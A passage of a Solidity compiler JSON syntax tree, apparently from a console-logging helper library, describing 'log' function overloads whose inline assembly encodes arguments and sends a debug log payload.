"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44096,"name":"bytes32","nodeType":"ElementaryTypeName","src":"313877:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44098,"nodeType":"VariableDeclarationStatement","src":"313877:10:22"},{"assignments":[44100],"declarations":[{"constant":false,"id":44100,"mutability":"mutable","name":"m6","nameLocation":"313905:2:22","nodeType":"VariableDeclaration","scope":44109,"src":"313897:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44099,"name":"bytes32","nodeType":"ElementaryTypeName","src":"313897:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44101,"nodeType":"VariableDeclarationStatement","src":"313897:10:22"},{"AST":{"nativeSrc":"313926:831:22","nodeType":"YulBlock","src":"313926:831:22","statements":[{"body":{"nativeSrc":"313969:313:22","nodeType":"YulBlock","src":"313969:313:22","statements":[{"nativeSrc":"313987:15:22","nodeType":"YulVariableDeclaration","src":"313987:15:22","value":{"kind":"number","nativeSrc":"314001:1:22","nodeType":"YulLiteral","src":"314001:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"313991:6:22","nodeType":"YulTypedName","src":"313991:6:22","type":""}]},{"body":{"nativeSrc":"314072:40:22","nodeType":"YulBlock","src":"314072:40:22","statements":[{"body":{"nativeSrc":"314101:9:22","nodeType":"YulBlock","src":"314101:9:22","statements":[{"nativeSrc":"314103:5:22","nodeType":"YulBreak","src":"314103:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"314089:6:22","nodeType":"YulIdentifier","src":"314089:6:22"},{"name":"w","nativeSrc":"314097:1:22","nodeType":"YulIdentifier","src":"314097:1:22"}],"functionName":{"name":"byte","nativeSrc":"314084:4:22","nodeType":"YulIdentifier","src":"314084:4:22"},"nativeSrc":"314084:15:22","nodeType":"YulFunctionCall","src":"314084:15:22"}],"functionName":{"name":"iszero","nativeSrc":"314077:6:22","nodeType":"YulIdentifier","src":"314077:6:22"},"nativeSrc":"314077:23:22","nodeType":"YulFunctionCall","src":"314077:23:22"},"nativeSrc":"314074:36:22","nodeType":"YulIf","src":"314074:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"314029:6:22","nodeType":"YulIdentifier","src":"314029:6:22"},{"kind":"number","nativeSrc":"314037:4:22","nodeType":"YulLiteral","src":"314037:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"314026:2:22","nodeType":"YulIdentifier","src":"314026:2:22"},"nativeSrc":"314026:16:22","nodeType":"YulFunctionCall","src":"314026:16:22"},"nativeSrc":"314019:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"314043:28:22","nodeType":"YulBlock","src":"314043:28:22","statements":[{"nativeSrc":"314045:24:22","nodeType":"YulAssignment","src":"314045:24:22","value":{"arguments":[{"name":"length","nativeSrc":"314059:6:22","nodeType":"YulIdentifier","src":"314059:6:22"},{"kind":"number","nativeSrc":"314067:1:22","nodeType":"YulLiteral","src":"314067:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"314055:3:22","nodeType":"YulIdentifier","src":"314055:3:22"},"nativeSrc":"314055:14:22","nodeType":"YulFunctionCall","src":"314055:14:22"},"variableNames":[{"name":"length","nativeSrc":"314045:6:22","nodeType":"YulIdentifier","src":"314045:6:22"}]}]},"pre":{"nativeSrc":"314023:2:22","nodeType":"YulBlock","src":"314023:2:22","statements":[]},"src":"314019:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"314136:3:22","nodeType":"YulIdentifier","src":"314136:3:22"},{"name":"length","nativeSrc":"314141:6:22","nodeType":"YulIdentifier","src":"314141:6:22"}],"functionName":{"name":"mstore","nativeSrc":"314129:6:22","nodeType":"YulIdentifier","src":"314129:6:22"},"nativeSrc":"314129:19:22","nodeType":"YulFunctionCall","src":"314129:19:22"},"nativeSrc":"314129:19:22","nodeType":"YulExpressionStatement","src":"314129:19:22"},{"nativeSrc":"314165:37:22","nodeType":"YulVariableDeclaration","src":"314165:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"314182:3:22","nodeType":"YulLiteral","src":"314182:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"314191:1:22","nodeType":"YulLiteral","src":"314191:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"314194:6:22","nodeType":"YulIdentifier","src":"314194:6:22"}],"functionName":{"name":"shl","nativeSrc":"314187:3:22","nodeType":"YulIdentifier","src":"314187:3:22"},"nativeSrc":"314187:14:22","nodeType":"YulFunctionCall","src":"314187:14:22"}],"functionName":{"name":"sub","nativeSrc":"314178:3:22","nodeType":"YulIdentifier","src":"314178:3:22"},"nativeSrc":"314178:24:22","nodeType":"YulFunctionCall","src":"314178:24:22"},"variables":[{"name":"shift","nativeSrc":"314169:5:22","nodeType":"YulTypedName","src":"314169:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"314230:3:22","nodeType":"YulIdentifier","src":"314230:3:22"},{"kind":"number","nativeSrc":"314235:4:22","nodeType":"YulLiteral","src":"314235:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"314226:3:22","nodeType":"YulIdentifier","src":"314226:3:22"},"nativeSrc":"314226:14:22","nodeType":"YulFunctionCall","src":"314226:14:22"},{"arguments":[{"name":"shift","nativeSrc":"314246:5:22","nodeType":"YulIdentifier","src":"314246:5:22"},{"arguments":[{"name":"shift","nativeSrc":"314257:5:22","nodeType":"YulIdentifier","src":"314257:5:22"},{"name":"w","nativeSrc":"314264:1:22","nodeType":"YulIdentifier","src":"314264:1:22"}],"functionName":{"name":"shr","nativeSrc":"314253:3:22","nodeType":"YulIdentifier","src":"314253:3:22"},"nativeSrc":"314253:13:22","nodeType":"YulFunctionCall","src":"314253:13:22"}],"functionName":{"name":"shl","nativeSrc":"314242:3:22","nodeType":"YulIdentifier","src":"314242:3:22"},"nativeSrc":"314242:25:22","nodeType":"YulFunctionCall","src":"314242:25:22"}],"functionName":{"name":"mstore","nativeSrc":"314219:6:22","nodeType":"YulIdentifier","src":"314219:6:22"},"nativeSrc":"314219:49:22","nodeType":"YulFunctionCall","src":"314219:49:22"},"nativeSrc":"314219:49:22","nodeType":"YulExpressionStatement","src":"314219:49:22"}]},"name":"writeString","nativeSrc":"313940:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"313961:3:22","nodeType":"YulTypedName","src":"313961:3:22","type":""},{"name":"w","nativeSrc":"313966:1:22","nodeType":"YulTypedName","src":"313966:1:22","type":""}],"src":"313940:342:22"},{"nativeSrc":"314295:17:22","nodeType":"YulAssignment","src":"314295:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"314307:4:22","nodeType":"YulLiteral","src":"314307:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"314301:5:22","nodeType":"YulIdentifier","src":"314301:5:22"},"nativeSrc":"314301:11:22","nodeType":"YulFunctionCall","src":"314301:11:22"},"variableNames":[{"name":"m0","nativeSrc":"314295:2:22","nodeType":"YulIdentifier","src":"314295:2:22"}]},{"nativeSrc":"314325:17:22","nodeType":"YulAssignment","src":"314325:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"314337:4:22","nodeType":"YulLiteral","src":"314337:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"314331:5:22","nodeType":"YulIdentifier","src":"314331:5:22"},"nativeSrc":"314331:11:22","nodeType":"YulFunctionCall","src":"314331:11:22"},"variableNames":[{"name":"m1","nativeSrc":"314325:2:22","nodeType":"YulIdentifier","src":"314325:2:22"}]},{"nativeSrc":"314355:17:22","nodeType":"YulAssignment","src":"314355:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"314367:4:22","nodeType":"YulLiteral","src":"314367:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"314361:5:22","nodeType":"YulIdentifier","src":"314361:5:22"},"nativeSrc":"314361:11:22","nodeType":"YulFunctionCall","src":"314361:11:22"},"variableNames":[{"name":"m2","nativeSrc":"314355:2:22","nodeType":"YulIdentifier","src":"314355:2:22"}]},{"nativeSrc":"314385:17:22","nodeType":"YulAssignment","src":"314385:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"314397:4:22","nodeType":"YulLiteral","src":"314397:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"314391:5:22","nodeType":"YulIdentifier","src":"314391:5:22"},"nativeSrc":"314391:11:22","nodeType":"YulFunctionCall","src":"314391:11:22"},"variableNames":[{"name":"m3","nativeSrc":"314385:2:22","nodeType":"YulIdentifier","src":"314385:2:22"}]},{"nativeSrc":"314415:17:22","nodeType":"YulAssignment","src":"314415:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"314427:4:22","nodeType":"YulLiteral","src":"314427:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"314421:5:22","nodeType":"YulIdentifier","src":"314421:5:22"},"nativeSrc":"314421:11:22","nodeType":"YulFunctionCall","src":"314421:11:22"},"variableNames":[{"name":"m4","nativeSrc":"314415:2:22","nodeType":"YulIdentifier","src":"314415:2:22"}]},{"nativeSrc":"314445:17:22","nodeType":"YulAssignment","src":"314445:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"314457:4:22","nodeType":"YulLiteral","src":"314457:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"314451:5:22","nodeType":"YulIdentifier","src":"314451:5:22"},"nativeSrc":"314451:11:22","nodeType":"YulFunctionCall","src":"314451:11:22"},"variableNames":[{"name":"m5","nativeSrc":"314445:2:22","nodeType":"YulIdentifier","src":"314445:2:22"}]},{"nativeSrc":"314475:17:22","nodeType":"YulAssignment","src":"314475:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"314487:4:22","nodeType":"YulLiteral","src":"314487:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"314481:5:22","nodeType":"YulIdentifier","src":"314481:5:22"},"nativeSrc":"314481:11:22","nodeType":"YulFunctionCall","src":"314481:11:22"},"variableNames":[{"name":"m6","nativeSrc":"314475:2:22","nodeType":"YulIdentifier","src":"314475:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"314578:4:22","nodeType":"YulLiteral","src":"314578:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"314584:10:22","nodeType":"YulLiteral","src":"314584:10:22","type":"","value":"0x63fb8bc5"}],"functionName":{"name":"mstore","nativeSrc":"314571:6:22","nodeType":"YulIdentifier","src":"314571:6:22"},"nativeSrc":"314571:24:22","nodeType":"YulFunctionCall","src":"314571:24:22"},"nativeSrc":"314571:24:22","nodeType":"YulExpressionStatement","src":"314571:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"314615:4:22","nodeType":"YulLiteral","src":"314615:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"314621:4:22","nodeType":"YulLiteral","src":"314621:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"314608:6:22","nodeType":"YulIdentifier","src":"314608:6:22"},"nativeSrc":"314608:18:22","nodeType":"YulFunctionCall","src":"314608:18:22"},"nativeSrc":"314608:18:22","nodeType":"YulExpressionStatement","src":"314608:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"314646:4:22","nodeType":"YulLiteral","src":"314646:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"314652:2:22","nodeType":"YulIdentifier","src":"314652:2:22"}],"functionName":{"name":"mstore","nativeSrc":"314639:6:22","nodeType":"YulIdentifier","src":"314639:6:22"},"nativeSrc":"314639:16:22","nodeType":"YulFunctionCall","src":"314639:16:22"},"nativeSrc":"314639:16:22","nodeType":"YulExpressionStatement","src":"314639:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"314675:4:22","nodeType":"YulLiteral","src":"314675:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"314681:2:22","nodeType":"YulIdentifier","src":"314681:2:22"}],"functionName":{"name":"mstore","nativeSrc":"314668:6:22","nodeType":"YulIdentifier","src":"314668:6:22"},"nativeSrc":"314668:16:22","nodeType":"YulFunctionCall","src":"314668:16:22"},"nativeSrc":"314668:16:22","nodeType":"YulExpressionStatement","src":"314668:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"314704:4:22","nodeType":"YulLiteral","src":"314704:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"314710:2:22","nodeType":"YulIdentifier","src":"314710:2:22"}],"functionName":{"name":"mstore","nativeSrc":"314697:6:22","nodeType":"YulIdentifier","src":"314697:6:22"},"nativeSrc":"314697:16:22","nodeType":"YulFunctionCall","src":"314697:16:22"},"nativeSrc":"314697:16:22","nodeType":"YulExpressionStatement","src":"314697:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"314738:4:22","nodeType":"YulLiteral","src":"314738:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"314744:2:22","nodeType":"YulIdentifier","src":"314744:2:22"}],"functionName":{"name":"writeString","nativeSrc":"314726:11:22","nodeType":"YulIdentifier","src":"314726:11:22"},"nativeSrc":"314726:21:22","nodeType":"YulFunctionCall","src":"314726:21:22"},"nativeSrc":"314726:21:22","nodeType":"YulExpressionStatement","src":"314726:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44082,"isOffset":false,"isSlot":false,"src":"314295:2:22","valueSize":1},{"declaration":44085,"isOffset":false,"isSlot":false,"src":"314325:2:22","valueSize":1},{"declaration":44088,"isOffset":false,"isSlot":false,"src":"314355:2:22","valueSize":1},{"declaration":44091,"isOffset":false,"isSlot":false,"src":"314385:2:22","valueSize":1},{"declaration":44094,"isOffset":false,"isSlot":false,"src":"314415:2:22","valueSize":1},{"declaration":44097,"isOffset":false,"isSlot":false,"src":"314445:2:22","valueSize":1},{"declaration":44100,"isOffset":false,"isSlot":false,"src":"314475:2:22","valueSize":1},{"declaration":44072,"isOffset":false,"isSlot":false,"src":"314744:2:22","valueSize":1},{"declaration":44074,"isOffset":false,"isSlot":false,"src":"314652:2:22","valueSize":1},{"declaration":44076,"isOffset":false,"isSlot":false,"src":"314681:2:22","valueSize":1},{"declaration":44078,"isOffset":false,"isSlot":false,"src":"314710:2:22","valueSize":1}],"id":44102,"nodeType":"InlineAssembly","src":"313917:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":44104,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"314782:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":44105,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"314788:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":44103,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"314766:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":44106,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"314766:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":44107,"nodeType":"ExpressionStatement","src":"314766:27:22"},{"AST":{"nativeSrc":"314812:214:22","nodeType":"YulBlock","src":"314812:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"314833:4:22","nodeType":"YulLiteral","src":"314833:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"314839:2:22","nodeType":"YulIdentifier","src":"314839:2:22"}],"functionName":{"name":"mstore","nativeSrc":"314826:6:22","nodeType":"YulIdentifier","src":"314826:6:22"},"nativeSrc":"314826:16:22","nodeType":"YulFunctionCall","src":"314826:16:22"},"nativeSrc":"314826:16:22","nodeType":"YulExpressionStatement","src":"314826:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"314862:4:22","nodeType":"YulLiteral","src":"314862:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"314868:2:22","nodeType":"YulIdentifier","src":"314868:2:22"}],"functionName":{"name":"mstore","nativeSrc":"314855:6:22","nodeType":"YulIdentifier","src":"314855:6:22"},"nativeSrc":"314855:16:22","nodeType":"YulFunctionCall","src":"314855:16:22"},"nativeSrc":"314855:16:22","nodeType":"YulExpressionStatement","src":"314855:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"314891:4:22","nodeType":"YulLiteral","src":"314891:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"314897:2:22","nodeType":"YulIdentifier","src":"314897:2:22"}],"functionName":{"name":"mstore","nativeSrc":"314884:6:22","nodeType":"YulIdentifier","src":"314884:6:22"},"nativeSrc":"314884:16:22","nodeType":"YulFunctionCall","src":"314884:16:22"},"nativeSrc":"314884:16:22","nodeType":"YulExpressionStatement","src":"314884:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"314920:4:22","nodeType":"YulLiteral","src":"314920:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"314926:2:22","nodeType":"YulIdentifier","src":"314926:2:22"}],"functionName":{"name":"mstore","nativeSrc":"314913:6:22","nodeType":"YulIdentifier","src":"314913:6:22"},"nativeSrc":"314913:16:22","nodeType":"YulFunctionCall","src":"314913:16:22"},"nativeSrc":"314913:16:22","nodeType":"YulExpressionStatement","src":"314913:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"314949:4:22","nodeType":"YulLiteral","src":"314949:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"314955:2:22","nodeType":"YulIdentifier","src":"314955:2:22"}],"functionName":{"name":"mstore","nativeSrc":"314942:6:22","nodeType":"YulIdentifier","src":"314942:6:22"},"nativeSrc":"314942:16:22","nodeType":"YulFunctionCall","src":"314942:16:22"},"nativeSrc":"314942:16:22","nodeType":"YulExpressionStatement","src":"314942:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"314978:4:22","nodeType":"YulLiteral","src":"314978:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"314984:2:22","nodeType":"YulIdentifier","src":"314984:2:22"}],"functionName":{"name":"mstore","nativeSrc":"314971:6:22","nodeType":"YulIdentifier","src":"314971:6:22"},"nativeSrc":"314971:16:22","nodeType":"YulFunctionCall","src":"314971:16:22"},"nativeSrc":"314971:16:22","nodeType":"YulExpressionStatement","src":"314971:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"315007:4:22","nodeType":"YulLiteral","src":"315007:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"315013:2:22","nodeType":"YulIdentifier","src":"315013:2:22"}],"functionName":{"name":"mstore","nativeSrc":"315000:6:22","nodeType":"YulIdentifier","src":"315000:6:22"},"nativeSrc":"315000:16:22","nodeType":"YulFunctionCall","src":"315000:16:22"},"nativeSrc":"315000:16:22","nodeType":"YulExpressionStatement","src":"315000:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44082,"isOffset":false,"isSlot":false,"src":"314839:2:22","valueSize":1},{"declaration":44085,"isOffset":false,"isSlot":false,"src":"314868:2:22","valueSize":1},{"declaration":44088,"isOffset":false,"isSlot":false,"src":"314897:2:22","valueSize":1},{"declaration":44091,"isOffset":false,"isSlot":false,"src":"314926:2:22","valueSize":1},{"declaration":44094,"isOffset":false,"isSlot":false,"src":"314955:2:22","valueSize":1},{"declaration":44097,"isOffset":false,"isSlot":false,"src":"314984:2:22","valueSize":1},{"declaration":44100,"isOffset":false,"isSlot":false,"src":"315013:2:22","valueSize":1}],"id":44108,"nodeType":"InlineAssembly","src":"314803:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"313701:3:22","parameters":{"id":44079,"nodeType":"ParameterList","parameters":[{"constant":false,"id":44072,"mutability":"mutable","name":"p0","nameLocation":"313713:2:22","nodeType":"VariableDeclaration","scope":44110,"src":"313705:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44071,"name":"bytes32","nodeType":"ElementaryTypeName","src":"313705:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44074,"mutability":"mutable","name":"p1","nameLocation":"313725:2:22","nodeType":"VariableDeclaration","scope":44110,"src":"313717:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":44073,"name":"address","nodeType":"ElementaryTypeName","src":"313717:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":44076,"mutability":"mutable","name":"p2","nameLocation":"313737:2:22","nodeType":"VariableDeclaration","scope":44110,"src":"313729:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":44075,"name":"uint256","nodeType":"ElementaryTypeName","src":"313729:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":44078,"mutability":"mutable","name":"p3","nameLocation":"313749:2:22","nodeType":"VariableDeclaration","scope":44110,"src":"313741:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":44077,"name":"address","nodeType":"ElementaryTypeName","src":"313741:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"313704:48:22"},"returnParameters":{"id":44080,"nodeType":"ParameterList","parameters":[],"src":"313767:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":44150,"nodeType":"FunctionDefinition","src":"315038:1334:22","nodes":[],"body":{"id":44149,"nodeType":"Block","src":"315110:1262:22","nodes":[],"statements":[{"assignments":[44122],"declarations":[{"constant":false,"id":44122,"mutability":"mutable","name":"m0","nameLocation":"315128:2:22","nodeType":"VariableDeclaration","scope":44149,"src":"315120:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44121,"name":"bytes32","nodeType":"ElementaryTypeName","src":"315120:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44123,"nodeType":"VariableDeclarationStatement","src":"315120:10:22"},{"assignments":[44125],"declarations":[{"constant":false,"id":44125,"mutability":"mutable","name":"m1","nameLocation":"315148:2:22","nodeType":"VariableDeclaration","scope":44149,"src":"315140:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44124,"name":"bytes32","nodeType":"ElementaryTypeName","src":"315140:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44126,"nodeType":"VariableDeclarationStatement","src":"315140:10:22"},{"assignments":[44128],"declarations":[{"constant":false,"id":44128,"mutability":"mutable","name":"m2","nameLocation":"315168:2:22","nodeType":"VariableDeclaration","scope":44149,"src":"315160:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44127,"name":"bytes32","nodeType":"ElementaryTypeName","src":"315160:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44129,"nodeType":"VariableDeclarationStatement","src":"315160:10:22"},{"assignments":[44131],"declarations":[{"constant":false,"id":44131,"mutability":"mutable","name":"m3","nameLocation":"315188:2:22","nodeType":"VariableDeclaration","scope":44149,"src":"315180:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44130,"name":"bytes32","nodeType":"ElementaryTypeName","src":"315180:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44132,"nodeType":"VariableDeclarationStatement","src":"315180:10:22"},{"assignments":[44134],"declarations":[{"constant":false,"id":44134,"mutability":"mutable","name":"m4","nameLocation":"315208:2:22","nodeType":"VariableDeclaration","scope":44149,"src":"315200:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44133,"name":"bytes32","nodeType":"ElementaryTypeName","src":"315200:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44135,"nodeType":"VariableDeclarationStatement","src":"315200:10:22"},{"assignments":[44137],"declarations":[{"constant":false,"id":44137,"mutability":"mutable","name":"m5","nameLocation":"315228:2:22","nodeType":"VariableDeclaration","scope":44149,"src":"315220:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44136,"name":"bytes32","nodeType":"ElementaryTypeName","src":"315220:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44138,"nodeType":"VariableDeclarationStatement","src":"315220:10:22"},{"assignments":[44140],"declarations":[{"constant":false,"id":44140,"mutability":"mutable","name":"m6","nameLocation":"315248:2:22","nodeType":"VariableDeclaration","scope":44149,"src":"315240:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44139,"name":"bytes32","nodeType":"ElementaryTypeName","src":"315240:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44141,"nodeType":"VariableDeclarationStatement","src":"315240:10:22"},{"AST":{"nativeSrc":"315269:828:22","nodeType":"YulBlock","src":"315269:828:22","statements":[{"body":{"nativeSrc":"315312:313:22","nodeType":"YulBlock","src":"315312:313:22","statements":[{"nativeSrc":"315330:15:22","nodeType":"YulVariableDeclaration","src":"315330:15:22","value":{"kind":"number","nativeSrc":"315344:1:22","nodeType":"YulLiteral","src":"315344:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"315334:6:22","nodeType":"YulTypedName","src":"315334:6:22","type":""}]},{"body":{"nativeSrc":"315415:40:22","nodeType":"YulBlock","src":"315415:40:22","statements":[{"body":{"nativeSrc":"315444:9:22","nodeType":"YulBlock","src":"315444:9:22","statements":[{"nativeSrc":"315446:5:22","nodeType":"YulBreak","src":"315446:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"315432:6:22","nodeType":"YulIdentifier","src":"315432:6:22"},{"name":"w","nativeSrc":"315440:1:22","nodeType":"YulIdentifier","src":"315440:1:22"}],"functionName":{"name":"byte","nativeSrc":"315427:4:22","nodeType":"YulIdentifier","src":"315427:4:22"},"nativeSrc":"315427:15:22","nodeType":"YulFunctionCall","src":"315427:15:22"}],"functionName":{"name":"iszero","nativeSrc":"315420:6:22","nodeType":"YulIdentifier","src":"315420:6:22"},"nativeSrc":"315420:23:22","nodeType":"YulFunctionCall","src":"315420:23:22"},"nativeSrc":"315417:36:22","nodeType":"YulIf","src":"315417:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"315372:6:22","nodeType":"YulIdentifier","src":"315372:6:22"},{"kind":"number","nativeSrc":"315380:4:22","nodeType":"YulLiteral","src":"315380:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"315369:2:22","nodeType":"YulIdentifier","src":"315369:2:22"},"nativeSrc":"315369:16:22","nodeType":"YulFunctionCall","src":"315369:16:22"},"nativeSrc":"315362:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"315386:28:22","nodeType":"YulBlock","src":"315386:28:22","statements":[{"nativeSrc":"315388:24:22","nodeType":"YulAssignment","src":"315388:24:22","value":{"arguments":[{"name":"length","nativeSrc":"315402:6:22","nodeType":"YulIdentifier","src":"315402:6:22"},{"kind":"number","nativeSrc":"315410:1:22","nodeType":"YulLiteral","src":"315410:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"315398:3:22","nodeType":"YulIdentifier","src":"315398:3:22"},"nativeSrc":"315398:14:22","nodeType":"YulFunctionCall","src":"315398:14:22"},"variableNames":[{"name":"length","nativeSrc":"315388:6:22","nodeType":"YulIdentifier","src":"315388:6:22"}]}]},"pre":{"nativeSrc":"315366:2:22","nodeType":"YulBlock","src":"315366:2:22","statements":[]},"src":"315362:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"315479:3:22","nodeType":"YulIdentifier","src":"315479:3:22"},{"name":"length","nativeSrc":"315484:6:22","nodeType":"YulIdentifier","src":"315484:6:22"}],"functionName":{"name":"mstore","nativeSrc":"315472:6:22","nodeType":"YulIdentifier","src":"315472:6:22"},"nativeSrc":"315472:19:22","nodeType":"YulFunctionCall","src":"315472:19:22"},"nativeSrc":"315472:19:22","nodeType":"YulExpressionStatement","src":"315472:19:22"},{"nativeSrc":"315508:37:22","nodeType":"YulVariableDeclaration","src":"315508:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"315525:3:22","nodeTyp